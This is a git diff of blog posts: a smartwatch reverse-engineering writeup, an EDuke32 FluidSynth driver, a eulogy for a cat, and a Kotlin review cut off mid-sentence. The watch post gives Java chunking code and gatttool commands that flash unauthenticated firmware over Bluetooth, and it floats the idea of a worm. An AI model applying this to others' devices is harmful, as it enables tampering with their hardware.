} + } else { + int i6 = i * 16; + bArr = Arrays.copyOfRange(bytes, i6, i6 + 16); + } + byte[] concatByteArrays = concatByteArrays(concatByteArrays(bArr2, bArr3), bArr); + int CRC_16 = CRC_16(byteToUnsignedChar(concatByteArrays)); + byte[] concatByteArrays2 = concatByteArrays(concatByteArrays, new byte[]{(byte) (CRC_16 & 255), (byte) ((CRC_16 >> 8) & 255)}); + printByteToHex(concatByteArrays2); + return concatByteArrays2; + } catch (NullPointerException unused) { + return bArr2; + } + } + + public static int CRC_16(char[] cArr) { + char[] cArr2 = {0, 40961}; + int i = 0; + char c = 65535; + while (i < cArr.length) { + char c2 = cArr[i]; + char c3 = c; + for (int i2 = 0; i2 < 8; i2++) { + c3 = cArr2[(c3 ^ c2) & 1] ^ (c3 >> 1); + c2 = (char) (c2 >> 1); + } + i++; + c = c3; + } + return c; + } + + public static void close() { + bytesCount = 0; + blockCount = 0; + currentCount = 0; + bytes = null; + } + + public static byte[] concatByteArrays(byte[] bArr, byte[] bArr2) { + byte[] bArr3 = new byte[(bArr.length + bArr2.length)]; + System.arraycopy(bArr, 0, bArr3, 0, bArr.length); + System.arraycopy(bArr2, 0, bArr3, bArr.length, bArr2.length); + return bArr3; + } + + public static char[] byteToUnsignedChar(byte[] bArr) { + char[] cArr = new char[bArr.length]; + for (int i = 0; i < cArr.length; i++) { + cArr[i] = (char) (bArr[i] & 255); + } + return cArr; + } + + public static void printByteToHex(byte[] bArr) { + StringBuilder sb = new StringBuilder(); + for (byte b : bArr) { + if (sb.length() > 0) { + sb.append(':'); + } + sb.append(String.format("%02x", new Object[]{Byte.valueOf(b)})); + } + } +} +#+END_SRC + +The bottom-line is that we're breaking the firmware image into 16-byte blocks +and attaching a [[https://en.wikipedia.org/wiki/Cyclic_redundancy_check][CRC-16]] to each one. The code's already there, so I hacked +together a little =main= function to perform the chunking for a file of my +choosing. + +#+BEGIN_SRC java +public static void main(String[] args) { + if (args.length != 1) { + System.err.printf("usage: TelinkOta [IMAGE]\n"); + return; + } + + try { + FileInputStream f = new FileInputStream(args[0]); + setFile(f); + } catch (FileNotFoundException e) { + e.printStackTrace(); + return; + } + + System.out.println(printByteToHex(new byte[]{1, -1})); + for (int i = 0; i < TelinkOta.getBlockCount(); i++) { + byte[] block = TelinkOta.getBlock(i); + System.out.println(printByteToHex(block)); + } + System.out.println(printByteToHex(TelinkOta.getEndCmd())); +} +#+END_SRC + +This spits out each "packet" as a line of hexadecimal digits. I can then use +some Emacs magic to turn said lines into shell commands, producing an extremely +cursed shell script to flash a hard-coded firmware image to the device.[fn:9] + +#+BEGIN_SRC prog +gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=01ff +gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=00000e800103000000004b4e4c54000288006365 +gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=01007680000000000000cc9e0100000000007423 +gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=020031083209320a910202ca085004b1fa878c26 +gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=03002008c06b210885061f08c06b200885063504 +gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=040000a02009200a910202ca085004b1fa873b7f +gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=05001f09200a910202ca085004b1fa871b090552 +gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=06001d08084001b048403fa31bf31b58a5abd4be +gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=070012c11fa2050b060812f302da02d3830271fc +gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=0800fbc1040b88a21a40fe87c0460080800095a0 +gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=090000868000020680001009110a110b9a02592c +#+END_SRC + +At this point, I hadn't reverse-engineered the firmware image, so I attempted +changing one of the ASCII strings that =radare2= could find, with little +consideration to what might happen. + +#+CAPTION: Before and after flashing firmware. +[[./dollar-bin-reverse-engineering-firmware-mod.jpg]] + +* Where I Would Have Gone Next + +I found being able to flash unauthenticated firmware to be a humorous attack +vector. How about a worm for that $5 watch you got at the gas station? + +I came across a [[https://gitter.im/nRF51822-Arduino-Mbed-smart-watch/Lobby?at=5b62115c854add6cee148651][Gitter conversation]] revealing I'm not the first to try to +reverse engineer this watch. Ah well. They figured out that the SoC is likely +based on [[http://wiki.telink-semi.cn/doc/ds/DS_TLSR8232-E_Datasheet%20for%20Telink%20BLE%20SoC%20TLSR8232.pdf][TLSR8232]], and the MCU is likely to be the [[https://github.com/rgov/Ghidra_TELink_TC32][TC32]][fn:8]. That saved me +from having to hammer my watch into pieces. + +I couldn't find much information on either, so if I were going to reverse +engineer the firmware, I would have to reverse engineer the [[https://github.com/OnTheWayJohn/ble_lt_sdk][SDK]] to figure out +things like the image load address. The project's on the shelf for now because +of that. It /might/ be a fun project to reverse engineer the SoC/MCU, and I'd +certainly learn a lot, but that would be more work than I want to put into this +-- I don't have an immediate interest in firmware reverse engineering at the +moment. + +[fn:1] This was before I learned how the sleep tracking features on these sorts of products work: not well. In retrospect, I should've saved up for an EEG device like the now-discontinued [[https://www.gwern.net/Zeo][Zeo]]. + +[fn:2] My primary concern was the software being non-free, but I also voiced concerns about privacy in the live stream. There are [[https://reports.exodus-privacy.eu.org/en/reports/com.uthink.ring/latest/][three separate analytics platforms]] tracking users of the application. + +[fn:3] ref: [[https://stackoverflow.com/questions/2719469/why-is-the-jvm-stack-based-and-the-dalvik-vm-register-based][Stack Overflow: Why is the JVM stack-based and the Dalvik VM register-based?]] + +[fn:4] ref: [[https://source.android.com/devices/tech/dalvik/gc-debug][Android Open Source Project: Debugging ART Garbage Collection]] + +[fn:5] Of course, Java is pervasive, so we have cursed things such as [[https://en.wikipedia.org/wiki/Jazelle][Jazelle]] which /do/ execute bytecode on hardware. + +[fn:6] When I was first working on this, the damn vibrate feature woke me up at five in the morning, trying to tell me that the watch was low on battery. + +[fn:7] If you're unfamiliar with the Android SDK, "activities" compose the UI. As in, this snippet is in the UI code. + +[fn:8] There have apparently been /some/ [[https://hackaday.com/2020/11/17/custom-firmware-for-cheap-bluetooth-thermometers/][reverse engineering efforts]] involving the TC32. + +[fn:9] In this case, I'm referring to the characteristic by its /handle/ rather than by its UUID. My uninformed understanding is that the handle is a sort of "short" identifier used for the same purpose as the UUID. I'm doing it this way because =gatttool= only let me write to this particular characteristic if I used a handle. diff --git a/haunt/posts/duke-on-fluidsynth.org b/haunt/posts/duke-on-fluidsynth.org new file mode 100644 index 0000000..bc811a6 --- /dev/null +++ b/haunt/posts/duke-on-fluidsynth.org @@ -0,0 +1,181 @@ +#+TITLE: Duke on Fluidsynth +#+DATE: <2018-01-13 Sat 21:10> +#+TAGS: writeup programming video-games audio c++ + +My first experiences with Duke Nukem 3D were with EDuke32 ages ago. This was +back when I was running Windows Vista, and while my memory is a bit lacking, I +swear that I had working music then. Ever since I made the switch to Linux, I +haven't had working music playback in EDuke. Frustrated at the fact that my past +few years of Duke 3D have been devoid of all sound besides the screams of death +and Duke's trash talking, I've finally decided to troubleshoot it. + +My first hypothesis was that there was a build flag for music support, and that +the binaries for EDuke in my distribution's package repository were compiled +without it. This led me to look at the [[http://wiki.eduke32.com/wiki/Building_EDuke32_on_Linux][Linux build instructions]], which +specifically mention an =EDUKE32_MUSIC_CMD= environment variable for specifying +an external MIDI player to use. This tipped me off on the issue: my version of +EDuke couldn't play MIDI. This made sense, since all of the other game sounds +were working just fine. I set the TiMidity++ command-line tool as the external +MIDI player, as I've had luck using TiMidity++ with QZDoom, and it worked on the +first try. This victory was short-lived, however, as the game froze the second I +started up the first episode. I figured that EDuke was waiting on the TiMidity++ +process to die off, which is when I decided to crack open the source code. + +The code revealed that on Linux platforms, EDuke uses SDL2_Mixer for music +output. I'm mildly familiar with it; it's a wrapper around the SDL audio module, +providing loaders for several sound formats such as OGG and MIDI. Unfortunately, +it seems incapable of playing MIDI on my system. Some further research revealed +that for MIDI playback, SDL2_Mixer can use either FluidSynth, or an internal +version of TiMidity. This reminded me of an issue I had when I first installed +GZDoom on my machine: soundfonts. + +You're supposed to be able to specify a default soundfont for FluidSynth in +=/etc/conf.d/fluidsynth=, but in my experiences with the command-line tool, this +is ignored entirely. Similarly, a default soundfont can be specified in +=/etc/timidity++/timidity.cfg=, but the only things I've used that have +respected that are QZDoom and the TiMidity++ command-line tool. Compiling +SDL2_Mixer from source and forcing it to use the internal version of TiMidity +has the same issue as before. + +I suspect that the reason for this is the fragmentation of TiMidity releases. +SDL2_Mixer has an internal version of TiMidity. So does QZDoom. It seems to be +one of those libraries that just gets copied into version control because it's +small enough, like that Vorbis decoder by RAD Game Tools. This has the +consequence that it will almost never be updated, and you may have several +programs using different, incompatible versions of it. In the case of QZDoom, +the copyright header in =timidity.cpp= is dated 1995. + +I looked at [[http://libtimidity.sourceforge.net/][libTiMidity]] in hopes of debugging the issue, which is when I +realized that some versions of TiMidity literally do not support specifying a +default soundfont, which would explain why SDL2_Mixer is dead silent. + +#+CAPTION: This is a pretty overdue feature, guys. +#+BEGIN_SRC c :hl_lines 0 +else if (!strcmp(w[0], "soundfont") || + !strcmp(w[0], "font")) +{ + /* "soundfont" sf_file "remove" + * "soundfont sf_file ["order=" order] ["cutoff=" cutoff] + * ["reso=" reso] ["amp=" amp] + * "font" "exclude" bank preset keynote + * "font" "order" order bank preset keynote + */ + DEBUG_MSG("FIXME: Implement \"%s\" in TiMidity config.\n", w[0]); +} +#+END_SRC + +Alright, so TiMidity isn't the way to go at all, and FluidSynth has issues +specifying a default soundfont via configuration files, but perhaps the +FluidSynth /API/ exposes a means of specifying a soundfont. Fortunately, this +was easy to check as FluidSynth has the best documentation I've ever seen from a +library written in C. The developer documentation is rich with examples, and one +of them even involves what we're looking for. Loading a soundfont with +FluidSynth turns out to be as easy as calling =fluid_synth_sfload=. + +Writing a drop-in replacement for the SDL2_Mixer MIDI driver is uncomplicated +because Duke3D maintains a structured API for its music drivers. There are two +drivers in the source tree, currently: the original Apogee Sound System +implementation (=source/duke3d/src/music.cpp=), and the reimplementation using +SDL2_Mixer (=source/duke3d/src/sdlmusic.cpp=). To make things simple, we'll just +replace =sdlmusic.cpp= and define the following routines: + +- =const char *MUSIC_ErrorString(int32_t ErrorNumber)= +- =int32_t MUSIC_Init(int32_t SoundCard, int32_t Address)= +- =int32_t MUSIC_Shutdown(void)= +- =void MUSIC_SetVolume(int32_t volume)= +- =int32_t MUSIC_GetVolume(void)= +- =void MUSIC_SetLoopFlag(int32_t loopflag)= +- =void MUSIC_Continue(void)= +- =void MUSIC_Pause(void)= +- =int32_t MUSIC_StopSong(void)= +- =int32_t MUSIC_PlaySong(char *song, int32_t loopflag)= +- =int32_t MUSIC_InitMidi(int32_t card, midifuncs *Funcs, int32_t Address)= +- =void MUSIC_Update(void)= + +The names are very descriptive in this case, and the routines themselves are +quite simple. Routines that return an =int32_t= are just returning an error code +(=MUSIC_Ok= or =MUSIC_Error=), with the exception of =MUSIC_GetVolume=, which +returns the volume on a scale of 0 to 255. In our case, most of these will be +stubs. For example, =MUSIC_Update= and =MUSIC_Continue= are irrelevant for +FluidSynth. + +Also, it's worth mentioning that the "song" parameter to =MUSIC_PlaySong= isn't +a filename, it's a pointer to an in-memory version of the MIDI file. FluidSynth +supports reading MIDI files from memory, but unlike SDL2_Mixer's in-memory MIDI +loader, the file's size has to be explicitly specified. I dug up a [[https://github.com/colxi/midi-parser-js/wiki/MIDI-File-Format-Specifications][specification +of the format]] and hacked together a little routine to figure out the size. It +isn't particularly important, but I wanted to mention it because it worked on +the first try, which warranted some celebration. + +#+BEGIN_SRC c :hl_lines 0 +char *tracks; +size_t file_size; +uint16_t num_tracks; + +tracks = song + 0x14; +num_tracks = *((uint16_t *) (song + 0x10)); +file_size = 0x14; // Size of the MIDI header. + +while (num_tracks--) { + uint16_t track_size; + + if (!memcmp(tracks, "MTrk", 4)) { + break; + } + + track_size = *((uint16_t *) (tracks + 0x04)); + file_size += track_size + 0x08; + tracks += track_size + 0x08; +} +#+END_SRC + +This all ended up being simple enough that I was able to get MIDI playback +working in under an hour on a Friday night. Yeah. I had some friends who wanted +to go out that night, but I stayed home and wrote a MIDI driver instead. (That +isn't the real reason, I'm not that much of a loser). + +Unfortunately, because I was just hacking it together quickly, the initial +implementation had a few issues: + +- No error reporting (=MUSIC_ErrorString= just returns "Nothing to see here...") +- Doesn't use modern C++, and only loosely follows the EDuke32 code style. +- Directly includes the FluidSynth headers, which seems to be a taboo in the + EDuke codebase. +- =MUSIC_StopSong will= shutdown and reinitialize the entire audio driver just + to flush whatever's currently playing out of the player. +- Replaces =sdlmusic.cpp=, instead of being an independent source file that can + be included at compile time. +- No volume controls. +- Soundfont and audio backend are hardcoded to my system. + +The first three were quite easy to fix, and as I don't have any plans to push +this upstream, they were really non-issues. The thing with =MUSIC_StopSong= is +also kind of a non-issue, as reinitializing the audio system is the only way to +flush the FluidSynth player right now. That fifth issue is also something I'm +not going to deal with unless someone confronts me about getting this included +upstream, because this is a lot easier to maintain as a drop-in replacement. + +Volume controls were extremely trivial to implement, as the only thing the +driver has to do is expose MUSIC_SetVolume. The routine receives a number on the +interval [0, 255], where 0 is the quietest, and 255 is the loudest. FluidSynth +provides a 'synth.gain' setting, which is essentially volume, but it instead +accepts numbers on the interval [0.0, 10.0]. + +The naive approach (which is what I did the first time around) is to multiply +the parameter by some scalar (10.0 / 255) to fit on the interval of [0.0, +10.0]. This was quite painful for my poor little ears. So I instead scaled the +number to fit on the interval of [0.0, 1.0]. + +Finally, specifying the soundfont is something I'll address in the future. My +patch adds some stuff to the EDuke options menu for specifying an audio backend +(alsa, pulse, etc), but I have yet to figure out how to make an option that's +stored as a string. + +If you want to check out my patchset, you can view the repository [[https://github.com/TsarFox/duke-on-fluidsynth][here]], and +here's a demo video: + +#+BEGIN_EXPORT html +
+ +
+#+END_EXPORT diff --git a/haunt/posts/farewell-kona.org b/haunt/posts/farewell-kona.org new file mode 100644 index 0000000..89206d9 --- /dev/null +++ b/haunt/posts/farewell-kona.org @@ -0,0 +1,74 @@ +#+TITLE: A Good-Bye Letter To My Life-Long Companion +#+TAGS: non-technical +#+DATE: <2022-05-13 Fri 20:06> +#+SCRIPTS: ((script (@ (src "/static/js/oneko.js")))) + +Last night -- Thursday, May 12th, 2022, at 22:17L -- my cat was put to rest. I +tend to avoid publishing anything non-technical to this website, but she +deserves to be remembered, and this is the only place I can be confident my +writing will last. She'd been with me through most of my life, always bringing +me comfort when I was stressed, and keeping watch over me when I was sick. I owe +this to her. + +[[./kona-1.jpg]] + +I begged my parents for a cat when I was young. It took several years, but they +eventually obliged and adopted my first cat, Donovan. He was put down a few +years later. My parents got Kona because they noticed how hurt I was to have +lost my best friend. We named her Kona after the Cree word for snow, ᑰᓇ, because +she had a beautiful, bright white coat of fur. + +Compared to Donovan, Kona was docile. She never tried to escape. She didn't even +like to be let outside. She always stayed alongside us. + +[[./kona-2.jpg]] + +She was occasionally playful, but for the most part would spend her days bathing +in the sun, or finding little hiding places next to my dad. When it got cold, +she would rest herself on my chest or lap. She was a great companion, for all +the years that she was with us. + +She especially liked to join me when I was playing video games. One time, I was +playing Metal Gear Solid, and she trotted up to the TV -- following Snake as he +ran across the screen and batting at him with her paw. + +Batting at stuff with her paw was her thing. If I walked past her without +petting her, she'd either bat at me, or be a little more aggressive and dig into +my leg with her claws. She also frequently beat up the other cat in the house.. +and other times, they were the best of friends. They made an excellent team for +killing the mice in the basement -- Kona would find them, and then go bat Mitzi +until Mitzi killed it. + +[[./kona-3.jpg]] + +When I moved back in with my parents at the beginning of the COVID-19 pandemic +(when UMass kicked us all out and went online for classes) my younger brother +voluntarily moved his rig into the basement[fn:1], and Kona started to hang out +with him. She'd sit on his desk, accompanying him while he programmed or played +video games. + +She'd even accompany him when he was working out in the home gym. Karl told me +once about how he was mid-way through a set, and Kona hopped up on his chest and +made herself comfortable. + +[[./kona-4.jpg]] + +She didn't come up from the basement often. She'd spend her days with Karl, and +her nights curled up on my dad's chest. Near the end, the only times I would see +her is when I'd feed her. I had a hard time noticing her deteriorating health. +Only really a suspicion -- on her last day -- when she came up to my desk while +I was working, and refused the cat food I fetched for her. Karl and my partner +were more keen to realizing that things were going downhill, so we took her to +the emergency vet that night. + +And that was the most I've cried. Ever. Kona was my girl. She really had an +impact on me in the time we had together. Life is never going to be the same +without her little mewls in the middle of the night. + +Farewell, Kona. I will always love you. + +/(The cat following your cursor, if you have Javascript enabled, is courtesy of [[https://adryd.com/][Ariana]].)/ + +--- + +[fn:1] To this day, I think he actually drew the long straw. He's right next to the home gym, the router, he's got plenty of space... diff --git a/haunt/posts/first-impressions-of-the-kotlin-programming-language.org b/haunt/posts/first-impressions-of-the-kotlin-programming-language.org new file mode 100644 index 0000000..406d0a3 --- /dev/null +++ b/haunt/posts/first-impressions-of-the-kotlin-programming-language.org @@ -0,0 +1,494 @@ +#+TITLE: First Impressions of the Kotlin Programming Language +#+DATE: <2018-12-17 Mon 00:00> +#+TAGS: opinion programming java kotlin android + +In the introduction of the previous post I wrote for this series, [[http://jakob.space/blog/first-impressions-of-the-rust-programming-language.html][First +Impressions of the Rust Programming Language]], I alluded to the presence of +arguments that programming language safety should be achieved by moving to +languages such as Java which run on a virtual machine. While "safety" may no +longer be the first thing that comes to mind in discussion of these languages, +especially with the hundreds[fn:1] of vulnerabilities in various implementations +of the Java virtual machine, it would be unfair to deny that the principle of +running programs in a sandboxed virtual machine is safer than running machine +code directly. This post won't be making any claims about safety, though, as I'm +more interested in writing about my impressions from a language design +perspective. So, how does Java fare in this regard? + +My first run-in with Java was when I was 16 and still in high school; I had +enrolled in AP computer science, of which the curriculum was and still is taught +using Java. I already knew Python and C at that point, but enrolled anyway as I +was never given a formal computer science education, and because the idea of +university credits was enticing to me. The portion of the class that regarded +concepts of computer science -- algorithm design and data structures -- was a +blast, but I quickly became frustrated with the programming assignments because +of Java's horribly unwieldy nature. Despite my distaste for the way the course +was taught, my grades stood out enough that the teacher approached me about +working as a teaching assistant the following year. I took him up on the offer, +and suffered. The position involved troubleshooting students' issues during lab +periods, and nearly every time I sat down to help a student, the issue was with +one of Java's numerous pitfalls rather than a conceptual misunderstanding of +computer science. At of the time of writing this, I have just completed my first +semester of university, and Java is apparently inescapable; I have been forced +to use it once more in my introductory data structures course. It has not grown +on me at all in these past three years, and I am not exaggerating when I say +that the language has literally given me nightmares. + +Refusing to use Java outside of my coursework would seemingly prevent me from +programming for any platform which makes use of Java, such as Android, but it +turns out that there's an alternative: using a language that compiles down to +the same bytecode as Java does. For those not in the know, Java works by +compiling source code ahead of time into a Java class file, which is a container +format for JVM bytecode. Bytecode is comparable to assembly, but it doesn't run +on actual hardware.[fn:2] Instead, it runs on an abstract machine implemented in +software. JVM bytecode as a compiler target is not a new concept; there are +plenty of languages targeting the JVM specifically, such as Groovy, Scala, and +Clojure (the latter of which I hope to cover in a future post), but Kotlin was +the first I heard of. + +While targeting Android is what I ended up using Kotlin for, my initial reason +for learning it was not nearly as practical. For context, I go between phases of +absolutely hating everything related to Java and phases of almost being able to +tolerate it, but that tolerance is mostly out of curiosity about the +implementation -- the most recent case of piqued interest coming about through +obtaining the J2ME JAR for [[https://en.wikipedia.org/wiki/Doom_RPG][Doom RPG]] and having an inclination to indulge in some +retro Java (circa JRE 1.3) reverse engineering. Really, I wanted to learn Kotlin +so that I could compare the bytecode generated by the Kotlin compiler to the +bytecode generated by past and present Java compilers,[fn:3] but I won't be +talking about that much in this post. + +Throughout this post, I'll be treating Kotlin as a language that only runs on +the JVM, but it's worth noting that the compiler has recently gained support for +targeting Javascript and LLVM as well, so this perspective doesn't fully +represent the language. + +As my first foray into writing nontrivial[fn:4] Kotlin, I decided to write a +version of Minesweeper, my favorite logic puzzle. The code is available on +[[https://git.sr.ht/~jakob/mines][sr.ht]]. Implementing Minesweeper might be a bit redundant as [[https://f-droid.org/en][F-Droid]] already has +a [[https://f-droid.org/en/packages/csd.qtproject.minesweeper][GPLv3'd implementation of Minesweeper]] in its repositories, but that one's +implemented in C++, QML, and Javascript. + +For the purposes of illustration, here's a simplified implementation of the +Minesweeper logic sans Android API: + +#+BEGIN_SRC kotlin :hl_lines 0 +data class Tile(val adjacentMines: Int = 0, val mine: Boolean = false, val masked: Boolean = true) + +/** + * The Minesweeper "grid", containing instances of [Tile]. + */ +class Grid(val width: Int, val height: Int, val tiles: Array) { + constructor(width: Int = 8, height: Int = 8, mines: Int = 10) + : this(width, height, Array(width * height) { Tile() }) { + for (i in 0 until mines) { + val x = (0 until width).random() + val y = (0 until height).random() + placeMine(x, y) + } + } + + private fun index(x: Int, y: Int) = y * width + x + private fun valid(x: Int, y: Int) = y in 0 until height && x in 0 until width + private fun place(x: Int, y: Int, tile: Tile) { + tiles[index(x, y)] = tile + } + + /** + * Returns the tile at the given coordinates. + * + * @throws IllegalArgumentException if the X coordinate is outside + * the range of [0, width), or if the Y coordinate is outside the + * range of [0, height). + */ + operator fun get(x: Int, y: Int) = if (valid(x, y)) { + tiles[index(x, y)] + } else { + throw IllegalArgumentException("Invalid coordinates (${x}, ${y})") + } + + /** + * Places a mine at the given coordinates. + * + * @throws IllegalArgumentException if the X coordinate is outside + * the range of [0, width), or if the Y coordinate is outside the + * range of [0, height). + */ + fun placeMine(x: Int, y: Int) { + if (!valid(x, y)) { + throw IllegalArgumentException("Invalid coordinates (${x}, ${y})") + } + + if (this[x, y].mine) { + return; + } + + place(x, y, Tile(mine = true)) + + val xMin = (x - 1).coerceAtLeast(0) + val xMax = (x + 1).coerceAtMost(width - 1) + val yMin = (y - 1).coerceAtLeast(0) + val yMax = (y + 1).coerceAtMost(height - 1) + + for (y in yMin..yMax) { + for (x in xMin..xMax) { + with (tiles[index(x, y)]) { + if (!mine) { + place(x, y, copy(adjacentMines + 1)) + } + } + } + } + } + + /** + * Reveals a tile at the given coordinates according to the game rules. + * + * @throws IllegalArgumentException if the X coordinate is outside + * the range of [0, width), or if the Y coordinate is outside the + * range of [0, height). + */ + fun reveal(x: Int, y: Int) { + if (!valid(x, y) || !this[x, y].masked) { + return; + } + + with (this[x, y]) { + place(x, y, copy(masked = false)) + + if (!mine && adjacentMines == 0) { + val xMin = (x - 1).coerceAtLeast(0) + val xMax = (x + 1).coerceAtMost(width - 1) + val yMin = (y - 1).coerceAtLeast(0) + val yMax = (y + 1).coerceAtMost(height - 1) + + for (y in yMin..yMax) { + for (x in xMin..xMax) { + reveal(x, y) + } + } + } + } + } + + override fun toString() = buildString { + for (y in 0 until height) { + for (x in 0 until width) { + val tile = this@Grid[x, y] + append(when { + tile.masked -> "." + tile.mine -> "M" + tile.adjacentMines == 0 -> " " + else -> tile.adjacentMines.toString() + } + " ") + } + append("\n") + } + } +} + +fun main(args: Array) { + val grid = Grid() + + for (i in 0 until 9) { + val x = (0 until 8).random() + val y = (0 until 8).random() + grid.reveal(x, y) + println(grid) + } +} +#+END_SRC + +And just within the first line, we're introduced to a feature that provides +massive gains in readability over Java. Data classes. + +#+BEGIN_SRC kotlin :hl_lines 0 +data class Tile(val adjacentMines: Int = 0, val mine: Boolean = false, val masked: Boolean = true) +#+END_SRC + +In Java, if you want to group a few related values together, you'd probably +write a full implementation of a class with "getter" and "setter" methods, and +potentially other methods for things like testing for equality. That's a whole +new file (assuming that you want to use this structure between classes) and +several lines of code for something that should really be expressed in one line. +Kotlin allows for structures to be declared this way. Here, we define a =Tile= +structure, which acts as an immutable container for the information we want to +associate with a tile in the Minesweeper grid. The compiler automatically +derives methods to check for equality (=equals=), to create a unique hash code +(=hashCode=), to provide a string representation (=toString=), and to make a +copy of the structure. That last point on making copies brings me to another +feature of Kotlin that makes programming with immutable data structures a +breeze: named and optional parameters. Notice that there are default values in +the above declaration -- =adjacentMines= is 0, =mine= is false, and =masked= is +true. If I wanted to create a tile that was a mine, but was still masked, I +could simply call =Tile(mine = true)=. Java only supports positional +overloading, so in Java, it would be =new Tile(0, true)=, assuming that I had an +overloaded constructor with a default =masked= value. Returning to the point on +the automatically-generated =copy= method, the named and optional parameters +really shine here. Take a look at how it's used in the =reveal= method: + +#+BEGIN_SRC kotlin :hl_lines 0 +with (this[x, y]) { + place(x, y, copy(masked = false)) +#+END_SRC + +I should probably explain the =with= statement to fully unpack what's happening +here. =with= essentially allows us to run a block of code in the scope of an +object. =copy= is a method of =this[x, y]=, but we don't need to write =this[x, +y].copy= since we are in the class scope of =Tile= (the type of =this[x, y]=). + +The code for initializing a new =Grid= object does a nice job of illustrating +Kotlin's ranges. + +#+BEGIN_SRC kotlin :hl_lines 0 +for (i in 0 until mines) { + val x = (0 until width).random() + val y = (0 until height).random() + placeMine(x, y) +} +#+END_SRC + +Kotlin is similar to Python in that there are no longer C-styled for loops +(initialization + condition + afterthought). Instead, there are iterator-based +for loops, and enumeration is done with ranges. =a..b= represents the range of +integers from [a, b], and =a until b= represents the range from [a, b). Ranges +are also objects, which is why we can write something like =(0 until +width).random()=, which picks a random integer in the range [0, width). + +Another big feature is type inference, which eliminates another pain in reading +and writing Java. Take this facetious example: + +#+BEGIN_SRC java :hl_lines 0 +InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState myState = new InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState(); +#+END_SRC + +The class name shows up twice on the same line, which I personally think is +absurd. Is the type of =myState= really not obvious from the rvalue? + +#+BEGIN_SRC kotlin :hl_lines 0 +val myState = InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState() +#+END_SRC + +Ah, much better. Of course, sometimes variables /need/ type information, such as +in the case of function parameters and return values. Actually, the type of a +return value can be inferred, too. This can be seen in the definitions of +=index= and =valid=. + +#+BEGIN_SRC kotlin :hl_lines 0 +private fun index(x: Int, y: Int) = y * width + x +private fun valid(x: Int, y: Int) = y in 0 until height && x in 0 until width +#+END_SRC + +Functions can be written this way if their body is a single expression, and the +compiler can infer the type of the return value from that expression. +Expressions are a big thing in Kotlin. =if= is an expression (which you can see in +the implementation of =get=), much like it is in Rust, as is =when= -- Kotlin's +replacement to Java's =switch= (which is sadly lacking in the way of +pattern-matching). Assignment, fortunately, is not an expression like it is in C +and Java.[fn:5] Here's an example of =when= used as an expression: + +#+BEGIN_SRC kotlin :hl_lines 0 +override fun toString() = buildString { + for (y in 0 until height) { + for (x in 0 until width) { + val tile = this@Grid[x, y] + append(when { + tile.masked -> "." + tile.mine -> "M" + tile.adjacentMines == 0 -> " " + else -> tile.adjacentMines.toString() + } + " ") + } + append("\n") + } +} +#+END_SRC + +This is yet another example of a function body being written as a single +expression. =buildString= is a function in the Kotlin standard library that takes +a lambda as a parameter,[fn:6] executes it in the context of a Java StringBuilder, +and returns the result of building that string. Kotlin provides a number of +facilities to make working with strings more pleasant, including string +interpolation: + +#+BEGIN_SRC kotlin :hl_lines 0 +val myNum = 7 +return "myNum is ${myNum}" // --> "myNum is 7" +#+END_SRC + +One last feature from the example above -- Kotlin supports operator overloading. +I'm sure that there was some rationale behind omitting operator overloading +from Java, but I'm a proponent of languages that offer support for it. Where the +operator overloading occurs in the example might not have been obvious, though. + +#+BEGIN_SRC kotlin :hl_lines 0 +operator fun get(x: Int, y: Int) = if (valid(x, y)) { + tiles[index(x, y)] +} else { + throw IllegalArgumentException("Invalid coordinates (${x}, ${y})") +} +#+END_SRC + +=get= corresponds to the indexing notation, which is why =this[x, y]= has shown +up a few times in the code. Yes, the indexing notation can take multiple +parameters. The names that Kotlin associates with different operators tends to +draw parallels with the conventions of the Java standard library. In the case of +=get=, this means that you can use indexing notation on a =Map=. Pretty neat. + +There are a few other features that I think are worth mentioning, but don't +appear in the Minesweeper example. + +* Explicit type conversion + +Kotlin lacks implicit type coercion, which I think is a huge benefit in terms of +readability. While it isn't as much of an issue in Java, having to explicity +mark type conversion is an excellent way of avoiding issues with [[https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf][type juggling]]. +Again, my opinions here have largely been shaped by my experience as a teaching +assistant. + +* Explicit nullability + +This is probably the crowning feature of Kotlin: a solution to "The Billion +Dollar Mistake" that is =null=. I'm actually not a fan of explicit nullability as +a solution, since I prefer the use of an =Option= type like in Rust.[fn:7] That +said, it does put the type system to work enforcing null safety at compile time, +and it is a lot more pleasant than dealing with =null= Java, so I'd call it a win. + +Basically, a variable can be =null= if its type is suffixed with a =?=. For +example, =Int?= can be =null=, but =Int= can't. An expression of type =Int?= +must be checked for =null= before it can be used, which can be done in a number +of ways. The most simple being to make use of another Kotlin feature: "smart +casts". + +#+BEGIN_SRC kotlin :hl_lines 0 +val myNum: Int? = null + +if (myNum != null) { + println("${myNum + 4}") // myNum has been casted from Int? to Int at this point. +} +#+END_SRC + +There are other ways, too. Kotlin has a null-coalescing operator, a "not null" +assertion, and so on. Explicit nullability is definitely a pain when starting +out, though. In Jouri Mamaev's [[https://kukuruku.co/post/why-kotlin-sucks/]["Why Kotlin Sucks"]], the following issue is +described as a "histerically-useless war with nullable." + +#+BEGIN_SRC kotlin :hl_lines 0 +var value : Int? = null + +fun F() : Int { + if (value != null) return 0 + return value // Compiler error: "Smart cast to 'Int' is impossible, because 'value' is a mutable property that could have been changed by this time" +} +#+END_SRC + +Mamaev goes on to show an example using the aforementioned "not null" assertion, +but the way I prefer to deal with this issue (other than not having variables +that are both nullable and mutable) is: + +#+BEGIN_SRC kotlin :hl_lines 0 +var value : Int? = null + +value?.let { + it.something() +} +#+END_SRC + +=let= will capture =value= and pass it to a lambda, allowing you to run some 